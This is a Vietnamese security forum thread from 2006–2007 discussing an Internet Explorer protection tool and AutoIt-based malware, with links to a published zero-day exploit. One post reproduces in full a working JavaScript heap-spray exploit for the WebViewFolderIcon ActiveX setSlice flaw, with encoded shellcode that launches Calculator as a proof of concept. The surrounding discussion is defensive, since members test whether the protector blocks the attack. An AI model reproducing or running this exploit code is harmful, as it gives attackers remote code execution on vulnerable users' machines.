Phòng chống các loại SPIM được viết bằng AutoIt - .:: HVAOnline ::.

English | Vietnamese

[Rule]

Rules

[Home]

Main Forum

[Portal]

Portal

[Members]

Member Listing

[Statistics]

Statistics

Search

[Reading Room]

Reading Room
[Register]

[Register]

[Login]

Login [ | https ]

Forum Index

Thảo luận bảo mật

Phòng chống các loại SPIM được viết bằng AutoIt

[Question] Phòng chống các loại SPIM được viết bằng AutoIt	01/10/2006 03:43:03 (+0700) \| #91 \| 26863

LeVuHoang
HVA Friend

Joined: 08/03/2003 16:54:07
Messages: 1155
Offline

[PM]

oh, ko phải anh. Ý em là cái [FireLion] IE Protector mà anh đã reverse là phiên bản bao nhiêu. Có phải 3.0 không smilie

smilie

?

Hoàng vừa test với 0-day bug mới xuất hiện ngày hôm nay:
http://www.htmlforum.net/hvaonline/posts/list/4508.html
http://www.milw0rm.com/exploits/2448

Kết quả, [FireLion] IE Protector vẫn chặn được smilie

smilie

).
Vì vậy, khuyến cáo bà con ai xài IE nên sử dụng [FireLion] IE Protector kèm theo để tránh 0-day bugs.

Ảnh demo:

[Print Copy]

[Question] Phòng chống các loại SPIM được viết bằng AutoIt	01/10/2006 05:26:02 (+0700) \| #92 \| 26898

114v
Member

[Minus]

0

[Plus]

Joined: 08/07/2006 23:27:00
Messages: 191
Offline

[PM]

Sao cái IE của em không bị lỗi nhỉ? Quái lạ thật, không thấy cái Calc nào chạy cả

Code:

<HTML>
<BODY>
<SCRIPT language="javascript">

	var heapSprayToAddress = 0x05050505;
	var payLoadCode = unescape(
	"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
	"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
	"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
	"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
	"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
	"%uFF57%u63E7%u6C61%u0063");
	var heapBlockSize = 0x400000;
	var payLoadSize = payLoadCode.length * 2;
	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
	var spraySlide = unescape("%u0505%u0505");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);
	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}

   	for ( i = 0 ; i < 128 ; i++) 
	{
		try{ 
			var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
			tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 ); 
		}catch(e){}
	}

	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	}

</SCRIPT> 

</BODY>
</HTML>

[Print Copy]

[Question] Phòng chống các loại SPIM được viết bằng AutoIt	30/11/2006 22:42:24 (+0700) \| #93 \| 27181

chupichu
Elite Member

[Minus]

0

[Plus]

Joined: 16/07/2004 14:17:57
Messages: 229
Location: Lầu Xanh
Offline

[PM]

[Yahoo!]

Từ ngày [FireLion] IE Protector ra mắt, bị xăm soi kỹ quá nhỉ . Hoàng thấy một số bạn down về chỉ để tìm hiểu về cách hoạt động, phân tích kỹ thuật... đây quả là 1 điều đáng mừng. Cơn bão Anti Virus chăng

Phân tích để tìm ra đúng hướng và góp ý cho IEP -> ko phải bão AV đâu.
Nhưng em thấy như anh mrro nói, hiện nay các chương trình AV đều có thể remove virus viết = Autoit hơn nữa nó còn có thể remove thêm các thằng virus đầu to khác. Vậy AutoIT được viết với mục đích gì ? Chỉ để ngăn chặn dính phải Virus thôi hả anh ? Nếu vậy thì đây là 1 chương trình Anti Virus theo đúng nghĩa của nó, còn các chương trình AV hiện nay chỉ có chức năng như là Vacine ko ngăn được bị dính mà chỉ có thể remove.

Dù sao vẫn ủng hộ anh H phát triển IEP

Where Have You Gone..

[Print Copy]

[Question] Phòng chống các loại SPIM được viết bằng AutoIt	29/03/2007 07:02:14 (+0700) \| #94 \| 50224

channhua
Elite Member

[Minus]

0

[Plus]

Joined: 18/07/2003 04:49:28
Messages: 338
Offline

[PM]

[WWW]

[Yahoo!]

@levuhoang: cái ieprotection bi giờ down load ở đâu ?

down ở fire-lion.com die rồi !!!!

[Print Copy]

[Question] Re: Phòng chống các loại SPIM được viết bằng AutoIt	29/03/2007 09:42:17 (+0700) \| #95 \| 50275

kenshin8x
Member

[Minus]

0

[Plus]

Joined: 29/11/2006 20:45:54
Messages: 195
Location: ĐH CNTT
Offline

[PM]

trên mạng có rất hiều chỗ down nhưng không biết có tin tưởng được không :wink:

[Print Copy]

[Question] Phòng chống các loại SPIM được viết bằng AutoIt	29/03/2007 12:51:50 (+0700) \| #96 \| 50321

LeVuHoang
HVA Friend

Joined: 08/03/2003 16:54:07
Messages: 1155
Offline

[PM]

Giờ này mà AutoIt vẫn còn sao ta.
Down ở đây xem smilie

smilie

http://fire-lion.com/softwares/fasthelper/download/FastHelperSetup.zip

[Print Copy]

[digg]

[delicious]

[google]

[yahoo]

[technorati]

[reddit]

[stumbleupon]

Go to:

Users currently in here
1 Anonymous

Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 © v2012|0504|218|